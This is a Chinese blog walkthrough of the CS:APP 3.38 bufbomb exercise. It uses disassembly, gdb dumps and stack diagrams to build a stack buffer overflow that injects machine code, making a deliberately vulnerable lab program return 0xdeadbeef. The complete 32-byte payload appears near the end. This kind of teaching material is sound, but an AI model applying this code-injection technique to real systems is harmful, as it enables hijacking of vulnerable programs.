《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例（续1）

来源：互联网发布：zaker知乎编辑：程序博客网时间：2024/05/17 01:41

本博客（http://blog.csdn.net/livelylittlefish）贴出作者（三二一@小鱼）相关研究、学习内容所做的笔记，欢迎广大朋友指正！

《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例（续1）

1. 问题描述

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx

2. 目标分析与题解

看源程序可以发现，好像无论输入什么数据，其返回结果都是1，打印出来的都是0x1，似乎无从下手。另外，我们攻击的目标只是让其返回0xdeadbeef，不干别的。

实验环境：Winxp + cygwin + gcc(3.4.4)

2.1 修改源程序？

这是题目不允许的。题目的要求是输入一些数据，使其输出为0xdeadbeef。输入什么样的数字串？这就是本题要求解的。

2.2 如何得到这个数字串？

如果了解程序的编译、链接、执行的过程即可知道，此题不是无解。

由《过程调用与栈帧》一文可知，过程调用时要将参数和返回地址压入栈中，然后进入被调过程执行，待从被调过程返回时，弹出返回地址，将该地址存入%eip寄存器，并转到该地址开始执行。入栈和出栈均是对%esp指向的内存操作，其基地址为%ebp。

假设，如果我们输入的是机器码，存放于该缓冲区中，注意到程序中的缓冲区只有12字节，利用缓冲区溢出，将本应存放test调用getbuf的返回地址的内存单元修改为存放可执行的机器码的地址，而这个地址就是我们的缓冲区地址，那么在调用完getbuf后会返回到缓冲区地址处执行我们输入的机器码，在机器码中让程序输出oxdeadbeef，并正确返回继续执行。这样会不会达到目标？

这句话有些拗口，总结来讲，就是将存放test调用getbuf的返回地址的内存单元的内容修改为buf缓冲区的地址。

不对源程序进行编译、汇编，我们先手工画出test调用getbuf的栈帧结构。

stack bottom

high address |=================|<----+

| | |

| | 'main' stack frame

| | |

|=================|<----+

%ebp'-> | ... | |

| | |

| ... | 'test' stack frame

| | |

|-----------------| |

+4 | retAddr | | //retAddr is the address of 'printf' at line 13

|=================|<----+

%ebp-> | %ebp' | | //this saved %ebp' for test stack frame

|-----------------| |

| ... | |

| | |

|-----------------| |

^ | | |

| | | |

| | | 'getbuf' stack frame

buf-> | | |

|-----------------| |

| ... | |

|-----------------| |

| buf addr | | //this is parameter to getxs

|-----------------| |

%esp-> | retAddr' | | //retAddr' is the address of 'return' at line 5

|=================|<----+

| | |

| ... | 'getxs' stack frame

| | |

low address |-----------------|<----+

stack top

其中，

'main','test','getbuf','getxs'均为函数名

%ebp'即为'test'栈帧的基地址

%ebp保存'getbuf'栈帧的基地址

%ebp+4保存test调用'getbuf'的返回地址，即retAddr

%esp指向'getbuf'栈帧的栈顶，其中存放retAddr'

retAddr是test调用getbuf后的返回地址，即程序第13行printf函数的地址

retAddr'是getbuf调用getxs

我们输入的数据存放在buf指向的一段内存中，且数据由低地址到高地址存放（图中向上箭头所示）。

如果输入的数据不覆盖%ebp+4指向的内存，即buf不溢出，getbuf将永远返回1。

如果输入的数据覆盖%ebp+4指向的内存呢？即buf缓冲区溢出，会出现什么样的情况？

不能覆盖%ebp指向的内存，即其中的%ebp'不能被修改，如果被修改，程序将不能正确返回，甚至崩溃。

如果%ebp+4指向的内存被修改为newAddr，即retAddr被覆盖而存入newAddr，则test调用getbuf后将返回到newAddr处执行，newAddr要存放一段可执行的代码。

这个newAddr是谁？

如果新填入%ebp+4的newAddr是buf缓冲区的起始地址，是否能达到目标？即test调用getbuf后将返回到buf的起始地址处执行。如果newAddr是别的地址，这个地址无从得知，程序也变得不可控。因此，newAddr就是buf的起始地址。

到此，基本可以确定如下内容：

a. 输入的数据大致内容

可执行机器码

%ebp'

newAddr

其中%ebp'必须还是存放在%ebp指向的内存中，newAddr存放在%ebp+4指向的内存中，newAddr=buf。

b. 输入数据的长度

%ebp+8-buf

其中，可执行机器码的长度为%ebp-buf；接下来的任务就是获得这段可执行的机器码。

2.3 如何获得可执行机器码？

首先，我们应该确定可执行机器码的功能：

a. 让程序返回0xdeadbeef

b. 返回到%ebp+4指向的返回地址retAddr处继续执行

必须保证第二点，程序才能正确返回。

如何在长度为%ebp-buf的机器码中实现以上功能？

2.3.1 如何让程序返回0xdeadbeef？

先编译源程序，并显示目标文件中的汇编代码：

$ gcc -o bufbomb bufbomb.c

$ objdump -d bufbomb.exe > bufbomb.txt

在bufbomb.txt文件中，我们可以发现getbuf函数对应的汇编代码如下。

00401129 <_getbuf>:

401129: 55 push %ebp

40112a: 89 e5 mov %esp,%ebp

40112c: 83 ec 28 sub $0x28,%esp

40112f: 8d 45 e8 lea 0xffffffe8(%ebp),%eax

401132: 89 04 24 mov %eax,(%esp)

401135: e8 16 ff ff ff call 401050 <_getxs>

40113a: b8 01 00 00 00 mov $0x1,%eax

40113f: c9 leave

401140: c3 ret

从汇编代码中，可以看出，返回值0x1被保存到%eax中，然后再返回的。

因此，要让程序返回0xdeadbeef，首先要将0xdeadbeef存入%eax中，其对应的汇编代码如下。

mov $0xdeadbeef,%eax

2.3.2 如何保证机器码执行后返回到retAddr处继续执行？

在bufbomb.txt文件中，我们也可以找到test函数对应的汇编代码如下。

00401141 <_test>:

401141: 55 push %ebp

401142: 89 e5 mov %esp,%ebp

401144: 83 ec 18 sub $0x18,%esp

401147: c7 04 24 00 20 40 00 movl $0x402000,(%esp)

40114e: e8 3d 01 00 00 call 401290 <_printf>

401153: e8 d1 ff ff ff call 401129 <_getbuf>

401158: 89 45 fc mov %eax,0xfffffffc(%ebp)

40115b: 8b 45 fc mov 0xfffffffc(%ebp),%eax

40115e: 89 44 24 04 mov %eax,0x4(%esp)

401162: c7 04 24 11 20 40 00 movl $0x402011,(%esp)

401169: e8 22 01 00 00 call 401290 <_printf>

40116e: c9 leave

40116f: c3 ret

从中可以看出，test调用getbuf的返回地址为0x401158，即retAddr=0x401158。

我们知道，ret指令的作用是从过程调用中返回，其任务有两个：从栈中弹出返回地址，并跳转到那个位置。

因此，要保证机器码执行后返回到retAddr=0x401158处继续执行，就需要将该地址压入栈中，遇到ret指令时，再将retAddr=0x401158从栈中弹出，并跳转到0x401158处继续执行，就能保证程序正确返回到test中，并继续执行。而从getbuf中返回时，返回值在%eax中，其值就是oxdeadbeef。

因此，保证机器码执行后返回到retAddr=0x401158处继续执行的机器码对应的汇编代码为：

push $0x401158

ret

至此，我们已经获得了要执行的可执行机器码对应的汇编代码如下，保存为bomb.s文件。

mov $0xdeadbeef,%eax

push $0x401158

ret

编译这个文件并显示其目标文件中的汇编代码：

$ gcc -c bomb.s

$ objdump -d bomb.o

bomb.o: file format pe-i386

Disassembly of section .text:

00000000 <.text>:

0: b8 ef be ad de mov $0xdeadbeef,%eax

5: 68 58 11 40 00 push $0x401158

a: c3 ret

b: 90 nop

c: 90 nop

d: 90 nop

e: 90 nop

f: 90 nop

因此，我们获得的可执行机器码为：

b8 ef be ad de

68 58 11 40 00

从而，我们已经确定的输入数据为：

b8 ef be ad de 68 58 11 40 00 c3

%ebp'

newAddr

已经确定的可执行机器码长度为11字节，剩下的事情就是确定%ebp'和newAddr=buf的值了。

2.4 如何获得%ebp'和buf缓冲区地址？

%ebp'即为test函数的栈帧基地址，其值是在程序链接后并在运行时才能确定的，buf缓冲区的起始地址也在程序运行时确定，因此，我们需要调试代码，查看寄存器的值。调试过程如下。

2.4.1 在getbuf函数入口处设置断点，并运行程序

$ gdb bufbomb.exe

GNU gdb 6.3.50_2004-12-28-cvs (cygwin-special)

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-cygwin"...(no debugging symbols found)

(gdb) b getbuf

Breakpoint 1 at 0x40112f

(gdb) r

Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bomb.exe

Breakpoint 1, 0x0040112f in getbuf ()

(gdb) disassemble getbuf

Dump of assembler code for function getbuf:

0x00401129 <getbuf+0>: push %ebp

0x0040112a <getbuf+1>: mov %esp,%ebp

0x0040112c <getbuf+3>: sub $0x28,%esp

0x0040112f <getbuf+6>: lea 0xffffffe8(%ebp),%eax

0x00401132 <getbuf+9>: mov %eax,(%esp)

0x00401135 <getbuf+12>: call 0x401050 <getxs>

0x0040113a <getbuf+17>: mov $0x1,%eax

0x0040113f <getbuf+22>: leave

0x00401140 <getbuf+23>: ret

End of assembler dump.

2.4.2 程序停在0x40112f处

对getbuf的汇编代码解释如下：

0x00401129 <getbuf+0>: push %ebp //保存test函数的栈帧基地址

0x0040112a <getbuf+1>: mov %esp,%ebp //设置getbuf的栈帧基地址

0x0040112c <getbuf+3>: sub $0x28,%esp //分配栈空间，大小为0x28，即40字节

0x0040112f <getbuf+6>: lea 0xffffffe8(%ebp),%eax //将%ebp-0x18存入%eax

0x00401132 <getbuf+9>: mov %eax,(%esp) //将%eax的值存入%esp指向的内存

0x00401135 <getbuf+12>: call 0x401050 <getxs> //返回地址入栈，并转到0x401050执行

0x0040113a <getbuf+17>: mov $0x1,%eax

0x0040113f <getbuf+22>: leave

0x00401140 <getbuf+23>: ret

查看各个寄存器的值，如下。

(gdb) info registers

eax 0x10 16

ecx 0x611030e8 1628451048

edx 0x8889 34953

ebx 0x0 0

esp 0x22bf70 0x22bf70

ebp 0x22bf98 0x22bf98

esi 0x611021a0 1628447136

edi 0x4014d0 4199632

eip 0x40112f 0x40112f

eflags 0x202 514

cs 0x1b 27

ss 0x23 35

ds 0x23 35

es 0x23 35

fs 0x3b 59

gs 0x0 0

2.4.3 stepi执行0x40112f处的代码，程序停在0x00401132处

查看寄存器的值，如下。

(gdb) stepi

0x00401132 in getbuf ()

(gdb) info registers

eax 0x22bf80 2277248

ecx 0x611030e8 1628451048

edx 0x8889 34953

ebx 0x0 0

esp 0x22bf70 0x22bf70

ebp 0x22bf98 0x22bf98

esi 0x611021a0 1628447136

edi 0x4014d0 4199632

eip 0x401132 0x401132

eflags 0x202 514

cs 0x1b 27

ss 0x23 35

ds 0x23 35

es 0x23 35

fs 0x3b 59

gs 0x0 0

可以看到，%ebp=0x22bf98，%esp=0x22bf70，%eax=0x22bf80=%ebp-0x18。因%eax的值是如下代码获得的，因此，此时%eax的值是一个有效地址。

0x0040112f <getbuf+6>: lea 0xffffffe8(%ebp),%eax //将%ebp-0x18存入%eax

同时，我们再查看%esp指向的一块连续内存的内容，如下。

(gdb) x/20 0x22bf70

0x22bf70: 0x611021a0 0x004014d0 0x0022bf98 0x610f0668

0x22bf80: 0x0022d008 0x611030e8 0x00402000 0x0022bfa4

0x22bf90: 0x61102edc 0x00000010 0x0022bfb8 0x00401158

0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026

0x22bfb0: 0x0000435c 0x0022bf28 0x0022cc98 0x004011db

可以看出，%ebp=0x22bf98指向的内存中存放的是0x0022bfb8，这个地址就是test函数的栈帧基址，即%ebp'=0x0022bfb8。该值在我们的输入数据中不能被覆盖（修改）。

2.4.4 最后确定输入数据

0x00401132处的代码如下。

0x00401132 <getbuf+9>: mov %eax,(%esp) //将%eax的值存入%esp指向的内存

至此，其实已经没有必要再执行了。0x00401132处的代码实际上就是将调用getxs的参数buf的地址存入栈中，但执行的不是push操作，直接存放。因此即可确定buf缓冲区的起始地址，即buf=0x22bf80。

（一般地，参数在%eax中。）

从而，我们已经确定的输入数据为：

b8 ef be ad de 68 58 11 40 00 c3

0x0022bfb8

0x22bf80

且%ebp'=0x0022bfb8存放在0x22bf98单元中，而buf=0x22bf80存放在0x22bf9c单元中。展开该数据，其输入形式为：

b8 ef be ad de 68 58 11 40 00 c3 [此处若不够填充则补0]

b8 bf 22 00

80 bf 22 00

2.5 此时程序的栈帧

stack bottom

high address |=================|<--------+

| | |

| ... | 'main' stack frame

| | |

|=================|<--------+

%ebp'-> | |0x22bfb8 |

|-----------------| |

| |0x22bfb4 |

|-----------------| |

| |0x22bfb0 |

|-----------------| |

| |0x22bfac 'test' stack frame

|-----------------| |

| |0x22bfa8 |

|-----------------| |

| |0x22bfa4 |

|-----------------| |

| |0x22bfa0 |

|-----------------| |

+4 | 0x00401158 |0x22bf9c | //retAddr is the address of 'printf' at line 13

|=================|<--------+

%ebp-> | 0x0022bfb8 |0x22bf98 | //%ebp'=0x0022bfb8

|-----------------| |

| |0x22bf94 |

|-----------------| |

| |0x22bf90 |

|-----------------| |

| |0x22bf8c |

-> |-----------------| |

| | |0x22bf88 |

| |-----------------| |

| | |0x22bf84 |

| |-----------------| 'getbuf' stack frame

buf-> | |0x22bf80 |

|-----------------| |

| |0x22bf7c |

|-----------------| |

| |0x22bf78 |

|-----------------| |

| |0x22bf74 |

|-----------------| |

%esp-> | 0x0022bf80 |0x22bf70 | //the address of parameter 'buf'

|-----------------| |

new %esp1-> | 0x0040113a |0x22bf6c |

|=================|<--------+

new %esp2-> | 0x0022bf98 |0x22bf68 | <-%ebp'', the base addr of 'getxs' stack frame

|-----------------| |

| |0x22bf64 |

|-----------------| |

| | 'getxs' stack frame

| | |

| ... | |

| | |

low address |-----------------|<--------+

stack top

2.6 输入数据在栈中的表示

将输入的数据填入缓冲区中，栈帧的变化如下。栈中划线的代码是我们已经确定的，黄色背景的代码是填充的。

|-----------------| |

| |0x22bfa0 |

|-----------------| |

+4 | 0x0022bf80 |0x22bf9c |

|=================|<--------+

%ebp-> | 0x0022bfb8 |0x22bf98 | //%ebp'=0x0022bfb8

|-----------------| |

| 0x00000000 |0x22bf94 |

|-----------------| |

| 0x00000000 |0x22bf90 |

|-----------------| |

| 0x00000000 |0x22bf8c |

-> |-----------------| |

| | 0x4000c300 |0x22bf88 |

| |-----------------| |

| | 0xde685811 |0x22bf84 |

| |-----------------| 'getbuf' stack frame

buf-> | 0xb8efbead |0x22bf80 |

|-----------------| |

| |0x22bf7c |

|-----------------| |

| |0x22bf78 |

|-----------------| |

| |0x22bf74 |

|-----------------| |

%esp-> | 0x0022bf80 |0x22bf70 | //the address of parameter 'buf'

|-----------------| |

new %esp1-> | 0x0040113a |0x22bf6c |

|=================|<--------+

其存放形式为：

高字节（高位） => 高地址

低字节（低位） => 低地址

例如0x22bf98处的0x0022bfb8，

|-----------------|

| 0x00 |0x22bf9b

|-----------------|

| 0x22 |0x22bf9a

|-----------------|

| 0xbf |0x22bf99

|-----------------|

| 0xb8 |0x22bf98

|-----------------|

至此，我们确定的输入数据为：

b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

共32字节，其中划线部分的0要填满并使缓冲区溢出，从而使缓冲区的地址0x0022bf80能被写入0x22bf9c单元覆盖原来的返回地址0x00401158，从而使test调用getbuf返回时转到缓冲区的地址0x0022bf80处执行我们的代码。

2.7 确认buf的地址

2.7.1 stepi继续执行0x00401132处的代码，程序停在0x00401135处

此时寄存器和内存的值如下。

(gdb) stepi

0x00401135 in getbuf ()

(gdb) info registers

eax 0x22bf80 2277248

ecx 0x611030e8 1628451048

edx 0x8889 34953

ebx 0x0 0

esp 0x22bf70 0x22bf70

ebp 0x22bf98 0x22bf98

esi 0x611021a0 1628447136

edi 0x4014d0 4199632

eip 0x401135 0x401135

eflags 0x202 514

cs 0x1b 27

ss 0x23 35

ds 0x23 35

es 0x23 35

fs 0x3b 59

gs 0x0 0

(gdb) x/20 0x22bf70

0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668

0x22bf80: 0x0022d008 0x611030e8 0x00402000 0x0022bfa4

0x22bf90: 0x61102edc 0x00000010 0x0022bfb8 0x00401158

0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026

0x22bfb0: 0x0000435c 0x0022bf28 0x0022cc98 0x004011db

(gdb) x/64xb 0x22bf70

0x22bf70: 0x80 0xbf 0x22 0x00 0xd0 0x14 0x40 0x00

0x22bf78: 0x98 0xbf 0x22 0x00 0x68 0x06 0x0f 0x61

0x22bf80: 0x08 0xd0 0x22 0x00 0xe8 0x30 0x10 0x61

0x22bf88: 0x00 0x20 0x40 0x00 0xa4 0xbf 0x22 0x00

0x22bf90: 0xdc 0x2e 0x10 0x61 0x10 0x00 0x00 0x00

0x22bf98: 0xb8 0xbf 0x22 0x00 0x58 0x11 0x40 0x00

0x22bfa0: 0x00 0x20 0x40 0x00 0x88 0xc3 0x22 0x00

0x22bfa8: 0x5c 0xc3 0x22 0x00 0x26 0x00 0x00 0x00

可以发现，%eax的值0x0022bf80已被写入%esp=0x22bf70指向的内存。同时也可确定数据的存放形式。

2.7.2 stepi继续执行0x00401135处的代码，此时程序进入getxs函数，停在0x401050处

0x00401135处的代码如下。

0x00401135 <getbuf+12>: call 0x401050 <getxs> //返回地址入栈，并转到0x401050执行

0x0040113a <getbuf+17>: mov $0x1,%eax

call指令的任务有两个：将返回地址入栈，并转到目标地址继续执行。getbuf调用getxs的返回地址为0x0040113a。call之前%esp=0x22bf70，而call之后，%esp=0x22bf6c，返回地址0x0040113a也被压入栈中地址为0x22bf6c的单元中。这些均可在如下的执行过程中得到验证。

(gdb) stepi

0x00401050 in getxs ()

(gdb) info registers

eax 0x22bf80 2277248

ecx 0x611030e8 1628451048

edx 0x8889 34953

ebx 0x0 0

esp 0x22bf6c 0x22bf6c

ebp 0x22bf98 0x22bf98

esi 0x611021a0 1628447136

edi 0x4014d0 4199632

eip 0x401050 0x401050

eflags 0x202 514

cs 0x1b 27

ss 0x23 35

ds 0x23 35

es 0x23 35

fs 0x3b 59

gs 0x0 0

2.7.3 stepi继续执行0x00401135处的代码

getxs函数的汇编代码如下。

00401050 <_getxs>:

401050: 55 push %ebp

401051: 89 e5 mov %esp,%ebp

401053: 83 ec 18 sub $0x18,%esp

401056: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp)

40105d: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)

401064: 8b 45 08 mov 0x8(%ebp),%eax

401067: 89 45 f0 mov %eax,0xfffffff0(%ebp)

40106a: e8 31 02 00 00 call 4012a0 <___getreent>

...

继续执行程序，直到停在0x401056处，查看寄存器、内存的值如下。

(gdb) stepi

0x00401051 in getxs ()

(gdb) stepi

0x00401053 in getxs ()

(gdb) stepi

0x00401056 in getxs ()

(gdb) info registers

eax 0x22bf80 2277248

ecx 0x611030e8 1628451048

edx 0x8889 34953

ebx 0x0 0

esp 0x22bf50 0x22bf50

ebp 0x22bf68 0x22bf68

esi 0x611021a0 1628447136

edi 0x4014d0 4199632

eip 0x401056 0x401056

eflags 0x206 518

cs 0x1b 27

ss 0x23 35

ds 0x23 35

es 0x23 35

fs 0x3b 59

gs 0x0 0

(gdb) x/20 0x22bf50

0x22bf60: 0x7c91043e 0x0022c2d0 0x0022bf98 0x0040113a

0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668

0x22bf80: 0x0022d008 0x611030e8 0x00402000 0x0022bfa4

0x22bf90: 0x61102edc 0x00000010 0x0022bfb8 0x00401158

0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026

至此，即可确认我们前面的假设和分析。